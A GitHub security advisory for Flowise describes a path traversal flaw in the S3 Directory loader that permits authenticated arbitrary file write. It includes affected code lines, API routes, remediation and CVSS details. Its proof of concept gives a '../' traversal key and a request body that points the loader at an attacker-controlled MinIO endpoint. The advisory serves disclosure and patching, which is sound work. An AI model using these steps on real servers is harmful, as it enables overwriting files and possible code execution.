Skip to content

Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys

High severity GitHub Reviewed Published Jul 29, 2026 in FlowiseAI/Flowise • Updated Aug 4, 2026

Package

npm flowise (npm)

Affected versions

<= 3.1.2

Patched versions

3.1.3
npm flowise-components (npm)
<= 3.1.2
3.1.3

Description

Summary

Flowise on current main allows an authenticated user with
documentStores:preview-process permission to trigger the S3 Directory
document loader with attacker-controlled S3 object keys. The loader joins
each returned S3 key with a temporary directory using path.join(tempDir, key)
and writes the object bytes to disk without validating traversal sequences
such as ../
. Cleanup later removes only the original temporary directory,
so files written outside that directory persist on the host filesystem.

This yields arbitrary file write with the privileges of the Flowise
server process.

A related variant exists in the S3File loader when
fileProcessingMethod = unstructured (same root cause; its cleanup behavior
turns it into a mixed arbitrary write/delete/DoS primitive).

Affected component

  • packages/components/nodes/documentloaders/S3Directory/S3Directory.ts
    • line 191: filePath = path.join(tempDir, key) (unsanitized)
    • line 213: recursive mkdirSync creates parent path
    • line 216: writeFileSync writes attacker-controlled bytes
    • line 289: cleanup only removes the original tempDir, so escaped
      files remain on disk
  • Related (variant):
    packages/components/nodes/documentloaders/S3File/S3File.ts
    (lines 756, 780, 782, 817 — arbitrary write + recursive dirname delete)

Reachability

  • Routes exposed:
    packages/server/src/routes/documentstore/index.ts:41,45
    (/api/v1/document-store/loader/preview,
    /api/v1/document-store/loader/process/:loaderId)
  • Both require documentStores:preview-process
  • packages/server/src/services/documentstore/index.ts:588 passes
    data.loaderConfig straight to the loader node with no path
    sanitization
  • S3Directory accepts a custom serverUrl, so the attacker does not
    need access to an existing trusted AWS bucket
    — they can point Flowise
    at a local MinIO or any S3-compatible endpoint they control

Impact

  • Authenticated arbitrary file write to any path writable by the Flowise
    process
  • Destructive overwrite of application data, secrets, or configuration
  • Deployment-dependent lift to RCE if the service account can modify
    executable, startup, or interpreter-loaded files
    (e.g. .bashrc, systemd units, cron files, require.resolve targets,
    package.json postinstall scripts). This is not guaranteed
    product-wide.

Preconditions

  • Flowise instance running (HTTP server mode)
  • Attacker has a workspace account with the
    documentStores:preview-process role
  • No additional infrastructure required — serverUrl can point to
    attacker-controlled S3-compatible endpoint

Proof of Concept

  1. Authenticate as a user with documentStores:preview-process
  2. Run an S3-compatible server the attacker controls (e.g. MinIO)
  3. Create an object with a traversal key such as:
    ../../../../tmp/flowise-poc.txt
  4. Trigger:
    POST /api/v1/document-store/loader/preview
    (or /api/v1/document-store/loader/process/:loaderId)
    body: {
    "loaderId": "s3Directory",
    "loaderConfig": {
    "serverUrl": "http://attacker-minio:9000",
    "bucketName": "attacker-bucket",
    "prefix": "",
    "credential": ""
    }
    }
  5. Observe that Flowise writes the object bytes to the escaped path
  6. Observe that cleanup removes only the original temp directory; the
    escaped file persists

Local reproduction confirmed: writing a key containing
../../escape-target/poc.txt from a nested temp root created the file
outside the temp directory, and the cleanup removed only tempDir.

Root Cause

The loader trusts S3 object keys as safe local relative paths. It should
canonicalize the destination with path.resolve(...), verify the resolved
path remains within the intended temp directory, and reject traversal or
absolute-path patterns before any directory creation or file write.

Suggested Remediation

The repository already has shared path validators that are not used here:

  • packages/components/src/validator.ts:35 defines traversal checks
  • packages/components/src/validator.ts:295 defines sanitizeFileName

Recommended fix:

  1. Replace path.join(tempDir, key) with a resolve-and-verify flow
  2. Reject any resolved path outside tempDir
  3. Prefer a sanitized basename if directory structure is not required
  4. Apply the same fix to the S3File loader (fileProcessingMethod = unstructured branch)

References

@igor-magun-wd igor-magun-wd published to FlowiseAI/Flowise Jul 29, 2026
Published to the GitHub Advisory Database Aug 4, 2026
Reviewed Aug 4, 2026
Last updated Aug 4, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-88pr-878c-24wf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.